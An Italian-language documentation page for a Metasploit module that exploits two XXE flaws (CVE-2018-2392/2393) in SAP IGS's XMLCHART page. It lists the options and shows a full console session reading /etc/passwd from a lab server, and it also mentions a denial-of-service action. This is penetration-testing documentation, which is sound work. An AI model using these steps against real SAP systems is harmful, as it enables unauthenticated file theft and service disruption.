Attacco XXE a SAP IGS CVE-2018-2392 e CVE-2018-2393

Questo modulo in Metasploit Framework

Applicazione vulnerabile

Questo modulo sfrutta CVE-2018-2392 e CVE-2018-2393, due vulnerabilità XXE nella pagina XMLCHART dei SAP Internet Graphics Server (IGS) con versioni 7.20, 7.20EXT, 7.45, 7.49 o 7.53. Queste vulnerabilità si verificano a causa della mancanza di un'adeguata validazione del tag HTML Extension quando si invia una richiesta POST alla pagina XMLCHART per generare un nuovo grafico.

Uno sfruttamento riuscito consente ad attaccanti remoti non autenticati di leggere file dal server con l'utente con cui viene avviato il servizio IGS, che in genere è l'utente amministratore SAP. In alternativa, gli attaccanti possono anche abusare della vulnerabilità XXE per condurre un attacco denial of service contro il server SAP IGS vulnerabile.

Contesto dell'applicazione

L'Internet Graphics Service (IGS) fornisce un'infrastruttura che consente agli sviluppatori di visualizzare grafiche in un browser Internet con il minimo sforzo. È stato integrato in diverse tecnologie SAP UI, dove consente di utilizzare i dati di un altro sistema SAP o di un'altra origine dati per generare output grafici o non grafici dinamici.

Passaggi di installazione

I passaggi per installare e aggiornare il server SAP IGS sono disponibili online in questa pagina. Ulteriori informazioni sulla configurazione del server IGS sono disponibili qui. Infine, informazioni sull'amministrazione del server IGS sono disponibili qui.

Dopo l'installazione e la configurazione, le istanze risultano vulnerabili sulla porta HTTP predefinita 40080.

Passaggi di verifica

Avviare msfconsole
Eseguire: workspace [WORKSPACE]
Eseguire: use auxiliary/admin/sap/sap_igs_xmlchart_xxe
Eseguire: set RHOSTS [IP]
Eseguire: set FILE [remote file name]
Eseguire: set action READ
Eseguire: check
Verificare che il metodo check identifichi correttamente se il target è vulnerabile o meno.
Eseguire: run
Verificare che i contenuti del file specificato siano stati restituiti.

Opzioni

FILE

File da leggere dal server remoto. Esempio: /etc/passwd

URIPATH

Percorso della pagina XMLCHART del server SAP IGS vulnerabile a XXE. Di default è impostato su /XMLCHART, ma può essere modificato se il server SAP IGS è stato installato in un percorso diverso dalla root web. Ad esempio, se il server SAP IGS è stato installato nel percorso /igs/ sotto la root web, questo valore deve essere impostato su /igs/XMLCHART.

Azioni

   Name  Description
   ----  -----------
   READ  Remote file read
   DOS   Denial Of Service

Scenari

Rilascio SAP IGS vulnerabile: 7.45 in esecuzione su SUSE Linux Enterprise Server for SAP Applications 12 SP1

msf6 > workspace -a SAP_TEST
[*] Added workspace: SAP_TEST
[*] Workspace: SAP_TEST
msf6 > use auxiliary/admin/sap/sap_igs_xmlchart_xxe
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set RHOSTS 172.16.30.29
RHOSTS => 172.16.30.29
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set FILE /etc/passwd
FILE => /etc/passwd
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set action READ
action => READ
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set Proxies http:127.0.0.1:8080
Proxies => http:127.0.0.1:8080
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > options

Module options (auxiliary/admin/sap/sap_igs_xmlchart_xxe):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FILE     /etc/passwd          no        File to read from the remote server
   Proxies  http:127.0.0.1:8080  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   172.16.30.29         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    40080                yes       The target port (TCP)
   SSL      false                no        Negotiate SSL/TLS for outgoing connections
   URIPATH  /XMLCHART            yes       Path to the SAP IGS XMLCHART page from the web root
   VHOST                         no        HTTP server virtual host


Auxiliary action:

   Name  Description
   ----  -----------
   READ  Remote file read


msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > check
[+] 172.16.30.29:40080 - The target is vulnerable. 172.16.30.29 running OS: SUSE Linux Enterprise Server for SAP Applications 12 SP1 returned a response indicating that its XMLCHART page is vulnerable to XXE!
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > run
[*] Running module against 172.16.30.29

[+] File: /etc/passwd content from host: 172.16.30.29
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
games:x:12:100:Games account:/var/games:/bin/bash
gdm:x:107:112:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
haldaemon:x:101:102:User for haldaemon:/var/run/hald:/bin/false
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
messagebus:x:100:101:User for D-Bus:/var/run/dbus:/bin/false
news:x:9:13:News system:/etc/news:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
ntp:x:74:108:NTP daemon:/var/lib/ntp:/bin/false
polkituser:x:104:107:PolicyKit:/var/run/PolicyKit:/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
pulse:x:105:109:PulseAudio daemon:/var/lib/pulseaudio:/bin/false
puppet:x:103:106:Puppet daemon:/var/lib/puppet:/bin/false
root:x:0:0:root:/root:/bin/bash
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
suse-ncc:x:106:111:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
uuidd:x:102:104:User for uuidd:/var/run/uuidd:/bin/false
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
admin:x:1000:100:admin:/home/admin:/bin/bash
j45adm:x:1001:1001:SAP System Administrator:/home/j45adm:/bin/csh
sybj45:x:1002:1001:SAP Database Administrator:/sybase/J45:/bin/csh
sapadm:x:1003:1001:SAP System Administrator:/home/sapadm:/bin/false
[+] File: /etc/passwd saved in: /Users/vladimir/.msf4/loot/20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt
[*] Auxiliary module execution completed
msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > services
Services
========

host          port   proto  name  state  info
----          ----   -----  ----  -----  ----
172.16.30.29  40080  tcp    http  open   SAP Internet Graphics Server (IGS)

msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > vulns

Vulnerabilities
===============

Timestamp                Host          Name                                             References
---------                ----          ----                                             ----------
2020-10-07 10:12:37 UTC  172.16.30.29  SAP Internet Graphics Server (IGS) XMLCHART XXE  CVE-2018-2392,CVE-2018-2393,URL-https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_IGS-The-vulnerable-forgotten-component.pdf

msf6 auxiliary(admin/sap/sap_igs_xmlchart_xxe) > loot

Loot
====

host          service  type              name         content     info                  path
----          -------  ----              ----         -------     ----                  ----
172.16.30.29           igs.xmlchart.xxe  /etc/passwd  text/plain  SAP IGS XMLCHART XXE  /Users/vladimir/.msf4/loot/01619fd331da98b5ac4d-20201007131238_SAP_TEST_172.16.30.29_igs.xmlchart.xxe_346716.txt

sap_igs_xxe

Più Popolari